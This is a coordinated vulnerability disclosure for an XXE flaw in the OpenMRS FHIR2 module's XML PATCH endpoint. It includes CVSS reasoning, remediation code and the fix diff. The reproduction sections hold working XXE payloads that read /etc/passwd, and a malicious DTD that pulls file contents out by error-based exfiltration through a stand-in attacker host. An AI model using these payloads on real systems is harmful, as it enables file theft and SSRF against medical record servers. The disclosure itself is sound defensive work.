ANT-2026-CVX8213H · openmrs/openmrs-module-fhir2
deserialization high
Severity Claude high · Security research firm high · Maintainer -
Anthropic's analysis, sealed at approval. Disclosure to the maintainer was performed by Ophion Security.
ANT-2026-CVX8213H: XXE injection via XML patch processing in third-party library
HTTP PATCH requests with Content-Type application/xml-patch+xml flow from the FHIR resource provider through BaseFhirService.patch() (lines 185-186, PatchTypeEnum.XML_PATCH) into XmlPatchUtils.applyXmlPatch(), which hands the raw body to com.github.dnault:xml-patch:0.3.1's Patcher.patch(). That library instantiates DocumentBuilderFactory with default settings and never disables DTDs or external entities, and no upstream filter strips DOCTYPE declarations. An authenticated attacker can therefore embed an external entity (file:// or http://) in the patch XML and have it resolved server-side. The resolved content is written into the patched FHIR resource and reflected back in the response or error, yielding arbitrary file read and SSRF.
Target
Project: openmrs-module-fhir2
Commit: 59474d3db4b93f7f
Version: master @ 5a0535de2556 (as of 2026-04-17)
Location: XmlPatchUtils.java:43
Discovery: static analysis — not yet dynamically reproduced
Technical Details
The root cause is that applyXmlPatch() delegates parsing of untrusted XML to a third-party library (xml-patch 0.3.1) that calls DocumentBuilderFactory.newInstance() without setFeature() calls to disable external-general-entities, external-parameter-entities, or DOCTYPE declarations. Because no code path sanitizes or rejects DOCTYPE/ENTITY constructs before parsing, any SYSTEM entity in the patch body is resolved by the server's XML parser.
Reproduction
- Authenticate to the OpenMRS FHIR2 endpoint.
- Send PATCH /ws/fhir2/R4/Patient/{id} with Content-Type: application/xml-patch+xml.
- Supply body: <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>&xxe;.
- The xml-patch parser resolves &xxe; and injects the file contents into the patched resource.
- Read the exfiltrated data from the FHIR response body or error message; substitute http(s):// URIs for SSRF.
[No reproducer or sanitizer output attached — request from security-cvd@anthropic.com if needed.]
Suggested Fix
Disable external entity resolution and DTD processing on the DocumentBuilderFactory used for patch parsing (set disallow-doctype-decl=true, external-general-entities=false, external-parameter-entities=false, XInclude=false), or pre-process the patch body to reject/strip DOCTYPE declarations before calling Patcher.patch().
Acknowledgement
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by the Anthropic security team in collaboration with Anthropic Research. Please direct questions to security-cvd@anthropic.com and reference ANT-2026-CVX8213H.
Reference: ANT-2026-CVX8213H
Anthropic CVD Policy: https://www.anthropic.com/coordinated-vulnerability-disclosure
Triage and disclosure were performed by Ophion Security. The writeup below is the document the firm sent to the maintainer.
- Verdict
- true positive
- Severity
- high
[OpenMRS FHIR2 Module]: XXE injection via XML patch processing in third-party library
Product:OpenMRS FHIR2 Module Tested on:4.0.0-Snapshot
CVSS3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CVSS Reasoning
| Category | Value | Response |
|---|---|---|
| Attack Vector | Network (N) | Exploited via crafted XML submitted to the application over the network — no local or adjacent access required. |
| Attack Complexity | Low (L) | Standard XXE payloads work without special conditions, timing windows, or environmental prep. The attacker controls XML input directly. |
| Privilege Required | Low (L) | Requires an authenticated user account with Get Patient and Update Patient privilege — no admin role needed. |
| User Interaction | None (N) | Attacker submits the payload directly; no victim action required. |
| Scope | Unchanged (U) | The vulnerability and its impact are contained within the vulnerable application's security authority. While deployment context (e.g., cloud environments with metadata services, internal network reachability) can amplify real-world impact, those are environmental factors scored separately via the Environmental metric group, not the Base score. |
| Confidentiality | High (H) | OOB exfiltration combined with file read provides the attacker access to arbitrary readable files within the application's context, including configuration files, secrets, and any data the application process can access. Total loss of confidentiality for in-scope resources. |
| Integrity | None (N) | Vulnerability as described enables data disclosure only, not modification. |
| Availability | None (N) | No denial-of-service component in the described attack. |
Summary
The FHIR2 module's XML PATCH handling passes untrusted XML directly to the com.github.dnault:xml-patch:0.3.1 library, which parses it using a DocumentBuilderFactory with default settings that do not disable external entity resolution or DTD processing. An authenticated attacker can submit a crafted XML patch body containing a DTD with external entity references, potentially achieving arbitrary file read from the server filesystem or Server-Side Request Forgery (SSRF). This finding is based on static analysis and has not been dynamically reproduced.
Impact
An authenticated user with access to the FHIR PATCH endpoint could read arbitrary files from the server filesystem (e.g., /etc/passwd, application configuration files containing database credentials, cloud URLs such as AWS metadata on OpenMRS deployed via AWS) through out-of-bound requests or creating expected error messages.
Description
The vulnerability exists in the XML PATCH processing pipeline of the openmrs-module-fhir2 module.
Data flow:
- An HTTP PATCH request with
Content-Type: application/xml-patch+xmlis received by a FHIR resource provider (e.g.,PatientFhirResourceProvider). - The request body is routed through
BaseFhirService.patch()at lines 185–186, which dispatchesPatchTypeEnum.XML_PATCHtoXmlPatchUtils.applyXmlPatch(). XmlPatchUtils.applyXmlPatch()at line 43 passes the raw, attacker-controlled XML body to the third-party librarycom.github.dnault:xml-patch:0.3.1'sPatcher.patch()method.
Vulnerable sink:
Inside xml-patch:0.3.1, Patcher.patch() instantiates a DocumentBuilderFactory using DocumentBuilderFactory.newInstance() with default settings. Java's default DocumentBuilderFactory does not disable:
- External general entities (http://xml.org/sax/features/external-general-entities)
- External parameter entities (http://xml.org/sax/features/external-parameter-entities)
- DOCTYPE declarations (http://apache.org/xml/features/disallow-doctype-decl)
// BaseFhirService.java:185-186
case XML_PATCH:
patchedResource = XmlPatchUtils.applyXmlPatch(dao, resourceId, patchBody);
// XmlPatchUtils.java:43 — delegates to xml-patch library
Patcher.patch(originalXml, patchXml); // patchXml is attacker-controlled
// Inside com.github.dnault:xml-patch:0.3.1 Patcher.patch():
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// No setFeature() calls to disable external entities or DTDs
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(inputSource); // parses attacker-controlled XML
No upstream filter in the openmrs-module-fhir2 request processing pipeline strips or rejects DOCTYPE declarations before the XML reaches the parser.
Reproduction
- Use the following bash script to create a limited user role and user for testing.
#!/usr/bin/env bash
set -euo pipefail
BASE_URL=""
ADMIN_USER=""
ADMIN_PASS=""
NEW_USER="fhir_patient_writer"
NEW_PASS="ChangeMe123!"
ROLE_NAME="FHIR Patient Writer"
while [[ $# -gt 0 ]]; do
case "$1" in
--base-url) BASE_URL="$2"; shift 2 ;;
--admin-user) ADMIN_USER="$2"; shift 2 ;;
--admin-pass) ADMIN_PASS="$2"; shift 2 ;;
--new-user) NEW_USER="$2"; shift 2 ;;
--new-pass) NEW_PASS="$2"; shift 2 ;;
--role-name) ROLE_NAME="$2"; shift 2 ;;
*) echo "Unknown arg: $1"; exit 1 ;;
esac
done
[[ -z "$BASE_URL" || -z "$ADMIN_USER" || -z "$ADMIN_PASS" ]] && {
echo "Usage: $0 --base-url http://host/openmrs --admin-user admin --admin-pass Admin123 [--new-user fhir_patient_writer --new-pass 'Password123!']"
exit 1
}
API="$BASE_URL/ws/rest/v1"
need() { command -v "$1" >/dev/null || { echo "Missing dependency: $1"; exit 1; }; }
need curl
need jq
auth=(-u "$ADMIN_USER:$ADMIN_PASS" -H "Content-Type: application/json" -H "Accept: application/json")
echo "[*] Creating role: $ROLE_NAME"
ROLE_PAYLOAD=$(jq -n \
--arg name "$ROLE_NAME" \
--arg desc "Can read and update existing patients through FHIR2" \
'{
name: $name,
description: $desc,
privileges: [
{name:"Get Patients"},
{name:"View Patients"},
{name:"Edit Patients"},
{name:"Edit Patient Identifiers"}
]
}')
ROLE_RESP=$(curl -sS "${auth[@]}" -X POST "$API/role" -d "$ROLE_PAYLOAD" || true)
ROLE_UUID=$(echo "$ROLE_RESP" | jq -r '.uuid // empty')
if [[ -z "$ROLE_UUID" ]]; then
echo "[*] Role may already exist, looking it up..."
ROLE_UUID=$(curl -sS "${auth[@]}" "$API/role?q=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$ROLE_NAME'))")&v=full" \
| jq -r --arg name "$ROLE_NAME" '.results[] | select(.name==$name or .display==$name) | .uuid' | head -n1)
fi
[[ -z "$ROLE_UUID" ]] && {
echo "Could not create/find role. Response was:"
echo "$ROLE_RESP"
exit 1
}
echo "[*] Role UUID: $ROLE_UUID"
echo "[*] Creating user: $NEW_USER"
USER_PAYLOAD=$(jq -n \
--arg username "$NEW_USER" \
--arg password "$NEW_PASS" \
--arg role "$ROLE_UUID" \
'{
username: $username,
password: $password,
systemId: $username,
person: {
names: [{givenName:"FHIR", familyName:"Patient Writer"}],
gender: "O"
},
roles: [$role]
}')
USER_RESP=$(curl -sS "${auth[@]}" -X POST "$API/user" -d "$USER_PAYLOAD")
echo "$USER_RESP" | jq .
echo
echo "FHIR Basic Auth user created:"
echo " username: $NEW_USER"
echo " password: $NEW_PASS"
echo
echo "Test:"
echo "curl -u '$NEW_USER:$NEW_PASS' '$BASE_URL/ws/fhir2/R4/Patient/<patient-uuid>'"
- List available patients with the following Rest API call: http://$BASE_URL/ws/fhir2/R4/Patient
- Get the
UUIDof the patient fromresource.idvalue. - Host an exploit server with the following dtd file:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY sessionVariables "placeholder">
<!ENTITY autoReconnect "placeholder">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
- Send the following POST request to then retrieve the content of /etc/passwd:
PATCH /openmrs/ws/fhir2/R4/Patient/PATIENT_UUID HTTP/1.1
Host: localhost:8080
Authorization: Basic Base64_username:password
Content-Type: application/xml-patch+xml
Connection: keep-alive
Content-Length: 330
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://MALICIOUS_DTD_HOST">
%remote;
]>
- The output will content the value of /etc/passwd
Remediation
In XmlPatchUtils.applyXmlPatch() (XmlPatchUtils.java), pre-parse or sanitize the incoming XML patch body before passing it to the xml-patch library. The most robust approach is to reject any input containing a DOCTYPE declaration, since legitimate XML patch documents have no need for DTDs:
// XmlPatchUtils.java — before calling Patcher.patch()
if (patchBody.contains("<!DOCTYPE") || patchBody.contains("<!ENTITY")) {
throw new InvalidRequestException("XML patch body must not contain DOCTYPE declarations");
}
Alternatively (and preferably), fork or wrap the xml-patch library call to use a securely configured DocumentBuilderFactory:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
Internal Triage Note
-> CVD Recommendation: Report. Valid XXE while it requires user with some permission, permissions are normal in most medical environment.
-> Anthropic discussion:
The change that resolved this finding.
diff --git a/api/pom.xml b/api/pom.xml
index 22081cf9c1..0921b003d7 100644
--- a/api/pom.xml
+++ b/api/pom.xml
@@ -60,10 +60,6 @@
<groupId>com.github.java-json-tools</groupId>
<artifactId>json-patch</artifactId>
</dependency>
- <dependency>
- <groupId>com.github.dnault</groupId>
- <artifactId>xml-patch</artifactId>
- </dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
diff --git a/api/src/main/java/org/openmrs/module/fhir2/api/util/XmlPatchUtils.java b/api/src/main/java/org/openmrs/module/fhir2/api/util/XmlPatchUtils.java
index bacc2eb643..98cc22cfc3 100644
--- a/api/src/main/java/org/openmrs/module/fhir2/api/util/XmlPatchUtils.java
+++ b/api/src/main/java/org/openmrs/module/fhir2/api/util/XmlPatchUtils.java
@@ -18,8 +18,9 @@
import ca.uhn.fhir.context.FhirContext;
import ca.uhn.fhir.rest.api.Constants;
import ca.uhn.fhir.rest.server.exceptions.InvalidRequestException;
-import com.github.dnault.xmlpatch.Patcher;
import org.hl7.fhir.instance.model.api.IBaseResource;
+import org.openmrs.module.fhir2.api.util.xmlpatch.XmlPatchException;
+import org.openmrs.module.fhir2.api.util.xmlpatch.XmlPatcher;
public class XmlPatchUtils {
@@ -40,10 +41,10 @@ public static <T extends IBaseResource> T applyXmlPatch(FhirContext theCtx, T th
ByteArrayOutputStream result = new ByteArrayOutputStream();
try {
- Patcher.patch(new ByteArrayInputStream(inputResource.getBytes(Constants.CHARSET_UTF8)),
+ XmlPatcher.patch(new ByteArrayInputStream(inputResource.getBytes(Constants.CHARSET_UTF8)),
new ByteArrayInputStream(thePatchBody.getBytes(Constants.CHARSET_UTF8)), result);
}
- catch (IOException e) {
+ catch (IOException | XmlPatchException e) {
throw new InvalidRequestException(e);
}
diff --git a/api/src/main/java/org/openmrs/module/fhir2/api/util/xmlpatch/XmlPatchException.java b/api/src/main/java/org/openmrs/module/fhir2/api/util/xmlpatch/XmlPatchException.java
new file mode 100644
index 0000000000..034288f361
--- /dev/null
+++ b/api/src/main/java/org/openmrs/module/fhir2/api/util/xmlpatch/XmlPatchException.java
@@ -0,0 +1,23 @@
+/*
+ * This Source Code Form is subject to the terms of the Mozilla Public License,
+ * v. 2.0. If a copy of the MPL was not distributed with this file, You can
+ * obtain one at http://mozilla.org/MPL/2.0/. OpenMRS is also distributed under
+ * the terms of the Healthcare Disclaimer located at http://openmrs.org/license.
+ *
+ * Copyright (C) OpenMRS Inc. OpenMRS is a registered trademark and the OpenMRS
+ * graphic logo is a trademark of OpenMRS Inc.
+ */
+package org.openmrs.module.fhir2.api.util.xmlpatch;
+
+public class XmlPatchException extends RuntimeException {
+
+ private static final long serialVersionUID = 1L;
+
+ public XmlPatchException(String message) {
+ super(message);
+ }
+
+ public XmlPatchException(String message, Throwable cause) {
+ super(message, cause);
+ }
+}
diff --git a/api/src/main/java/org/openmrs/module/fhir2/api/util/xmlpatch/XmlPatcher.java b/api/src/main/java/org/openmrs/module/fhir2/api/util/xmlpatch/XmlPatcher.java
new file mode 100644
index 0000000000..3db95214da
--- /dev/null
+++ b/api/src/main/java/org/openmrs/module/fhir2/api/util/xmlpatch/XmlPatcher.java
@@ -0,0 +1,660 @@
+/*
+ * This Source Code Form is subject to the terms of the Mozilla Public License,
+ * v. 2.0. If a copy of the MPL was not distributed with this file, You can
+ * obtain one at http://mozilla.org/MPL/2.0/. OpenMRS is also distributed under
+ * the terms of the Healthcare Disclaimer located at http://openmrs.org/license.
+ *
+ * Copyright (C) OpenMRS Inc. OpenMRS is a registered trademark and the OpenMRS
+ * graphic logo is a trademark of OpenMRS Inc.
+ */
+package org.openmrs.module.fhir2.api.util.xmlpatch;
+
+import javax.xml.XMLConstants;
+import javax.xml.namespace.NamespaceContext;
+import javax.xml.parsers.DocumentBuilder;
+import javax.xml.parsers.DocumentBuilderFactory;
+import javax.xml.parsers.ParserConfigurationException;
+import javax.xml.transform.OutputKeys;
+import javax.xml.transform.Transformer;
+import javax.xml.transform.TransformerException;
+import javax.xml.transform.TransformerFactory;
+import javax.xml.transform.dom.DOMSource;
+import javax.xml.transform.stream.StreamResult;
+import javax.xml.xpath.XPath;
+import javax.xml.xpath.XPathConstants;
+import javax.xml.xpath.XPathExpressionException;
+import javax.xml.xpath.XPathFactory;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.List;
+
+import org.w3c.dom.Attr;
+import org.w3c.dom.Document;
+import org.w3c.dom.Element;
+import org.w3c.dom.NamedNodeMap;
+import org.w3c.dom.Node;
+import org.w3c.dom.NodeList;
+import org.w3c.dom.Text;
+import org.xml.sax.InputSource;
+import org.xml.sax.SAXException;
+
+/**
+ * Applies an XML PATCH document (RFC 5261) to an XML target. The selector grammar uses XPath 1.0
+ * via {@link javax.xml.xpath.XPath}, with namespace prefixes resolved against the in-scope
+ * declarations of each patch operation element.
+ * <p>
+ * As a non-RFC convenience inherited from the {@code com.github.dnault:xml-patch} library this
+ * replaces, multi-line text content in patch operations is trimmed by default; this can be
+ * overridden with {@code trim="true"} or {@code trim="false"} on the operation element.
+ * </p>
+ */
+public final class XmlPatcher {
+
+ private static final String XMLNS_NS = "http://www.w3.org/2000/xmlns/";
+
+ private XmlPatcher() {
+ }
+
+ /**
+ * Applies the patch in {@code diff} to the document in {@code target}, writing the result to
+ * {@code out}. Streams are read but not closed by this method.
+ */
+ public static void patch(InputStream target, InputStream diff, OutputStream out) throws IOException {
+ Document targetDoc = parse(target);
+ Document diffDoc = parse(diff);
+
+ Element diffRoot = diffDoc.getDocumentElement();
+ if (diffRoot == null) {
+ throw new XmlPatchException("Patch document has no root element");
+ }
+
+ NodeList ops = diffRoot.getChildNodes();
+ List<Element> opElements = new ArrayList<>();
+ for (int i = 0; i < ops.getLength(); i++) {
+ Node n = ops.item(i);
+ if (n.getNodeType() == Node.ELEMENT_NODE) {
+ opElements.add((Element) n);
+ }
+ }
+
+ for (Element op : opElements) {
+ applyOperation(targetDoc, op);
+ }
+
+ write(targetDoc, out);
+ }
+
+ private static Document parse(InputStream in) throws IOException {
+ try {
+ DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
+ dbf.setNamespaceAware(true);
+ dbf.setExpandEntityReferences(false);
+ dbf.setXIncludeAware(false);
+ dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
+ dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
+ dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
+ dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
+ dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
+ DocumentBuilder builder = dbf.newDocumentBuilder();
+ return builder.parse(new InputSource(in));
+ }
+ catch (ParserConfigurationException | SAXException e) {
+ throw new XmlPatchException("Failed to parse XML: " + e.getMessage(), e);
+ }
+ }
+
+ private static void write(Document doc, OutputStream out) throws IOException {
+ try {
+ TransformerFactory tf = TransformerFactory.newInstance();
+ tf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
+ trySetAttribute(tf, XMLConstants.ACCESS_EXTERNAL_DTD, "");
+ trySetAttribute(tf, XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
+ Transformer t = tf.newTransformer();
+ t.setOutputProperty(OutputKeys.OMIT_XML_DECLARATION, "no");
+ t.transform(new DOMSource(doc), new StreamResult(out));
+ }
+ catch (TransformerException e) {
+ throw new XmlPatchException("Failed to serialize XML: " + e.getMessage(), e);
+ }
+ }
+
+ private static void trySetAttribute(TransformerFactory tf, String n
… (truncated)https://github.com/openmrs/openmrs-module-fhir2/commit/601800edad0ab469af1e4bc9758dba1a732472d2
Dates from discovery through public reveal.
- 2026-04-16 Reported to tracker
- 2026-04-27 Sent to maintainer
- 2026-05-09 Maintainer acknowledged
- 2026-06-03 Patch released
- 2026-07-13 Publicly revealed
SHA-3-512 hash:
88a8d86f8ed597f3af03346cf7f89f5506a12871ad029d75f0ccde81f60aa14f850431b25317bd2fd2a2c72440b83485a273a237a7b258cb5f723c5f96b61076
Committed 2026-05-07 00:08 PT
Revealed 2026-07-13 19:25 PT
Verify (download preimage.json)
Show preimage JSON
{
"ant_id": "ANT-2026-CVX8213H",
"bug_class": "Deserialization / XXE",
"claude_severity": "high",
"commit_sha": "59474d3db4b93f7f",
"created_at": "2026-04-17T05:25:57+00:00",
"description": "HTTP PATCH requests with Content-Type application/xml-patch+xml flow from the FHIR resource provider through BaseFhirService.patch() (lines 185-186, PatchTypeEnum.XML_PATCH) into XmlPatchUtils.applyXmlPatch(), which hands the raw body to com.github.dnault:xml-patch:0.3.1's Patcher.patch(). That library instantiates DocumentBuilderFactory with default settings and never disables DTDs or external entities, and no upstream filter strips DOCTYPE declarations. An authenticated attacker can therefore embed an external entity (file:// or http://) in the patch XML and have it resolved server-side. The resolved content is written into the patched FHIR resource and reflected back in the response or error, yielding arbitrary file read and SSRF.",
"discovered_at": "2026-04-16T00:00:00+00:00",
"location": "XmlPatchUtils.java:43",
"poc_sha256": null,
"preimage_version": 1,
"project": "openmrs-module-fhir2",
"reproduction": [
"1. Authenticate to the OpenMRS FHIR2 endpoint.",
"2. Send PATCH /ws/fhir2/R4/Patient/{id} with Content-Type: application/xml-patch+xml.",
"3. Supply body: <!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><diff xmlns=\"urn:ietf:params:xml:ns:patch-ops-error\"><replace sel=\"/Patient/name/family/text()\"><text>&xxe;</text></replace></diff>.",
"4. The xml-patch parser resolves &xxe; and injects the file contents into the patched resource.",
"5. Read the exfiltrated data from the FHIR response body or error message; substitute http(s):// URIs for SSRF."
],
"technical_details": "The root cause is that applyXmlPatch() delegates parsing of untrusted XML to a third-party library (xml-patch 0.3.1) that calls DocumentBuilderFactory.newInstance() without setFeature() calls to disable external-general-entities, external-parameter-entities, or DOCTYPE declarations. Because no code path sanitizes or rejects DOCTYPE/ENTITY constructs before parsing, any SYSTEM entity in the patch body is resolved by the server's XML parser.",
"title": "XXE injection via XML patch processing in third-party library",
"vendor_severity": "high"
}